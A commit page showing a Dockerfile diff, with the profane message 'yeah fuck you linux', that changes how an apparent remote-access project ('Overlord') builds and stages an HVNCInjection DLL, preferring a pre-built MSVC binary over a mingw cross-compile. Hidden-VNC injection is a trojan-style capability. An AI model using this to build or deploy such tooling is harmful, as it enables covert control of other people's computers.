yeah fuck you linux
This commit is contained in:
+9
-8
@@ -67,14 +67,15 @@ COPY Overlord-Client/ ./Overlord-Client/
|
||||
COPY HVNCInjection/ ./HVNCInjection/
|
||||
COPY build-hvnc-dll.sh ./build-hvnc-dll.sh
|
||||
|
||||
# Attempt to cross-compile HVNCInjection DLL with mingw.
|
||||
# Requires MinHook source in HVNCInjection/src/minhook/.
|
||||
# If unavailable, pre-build the DLL on Windows with build-hvnc-dll.bat
|
||||
# and place it at Overlord-Server/dist-clients/HVNCInjection.x64.dll.
|
||||
RUN chmod +x build-hvnc-dll.sh && \
|
||||
HVNC_SRC_DIR=HVNCInjection/src HVNC_OUT_DIR=dist-clients bash build-hvnc-dll.sh || \
|
||||
(test -f dist-clients/HVNCInjection.x64.dll && echo "Using pre-built DLL") || \
|
||||
echo "WARNING: HVNCInjection DLL not available"
|
||||
# Use MSVC-built HVNCInjection DLL if present (preferred, from CI artifact).
|
||||
# Fall back to cross-compiling with mingw only if no pre-built DLL exists.
|
||||
RUN if [ -f dist-clients/HVNCInjection.x64.dll ]; then \
|
||||
echo "Using pre-built MSVC HVNCInjection DLL"; \
|
||||
else \
|
||||
chmod +x build-hvnc-dll.sh && \
|
||||
HVNC_SRC_DIR=HVNCInjection/src HVNC_OUT_DIR=dist-clients bash build-hvnc-dll.sh || \
|
||||
echo "WARNING: HVNCInjection DLL not available (build with MSVC on Windows)"; \
|
||||
fi
|
||||
|
||||
# Create necessary directories
|
||||
RUN mkdir -p certs public data
|
||||
|
||||
Reference in New Issue
Block a user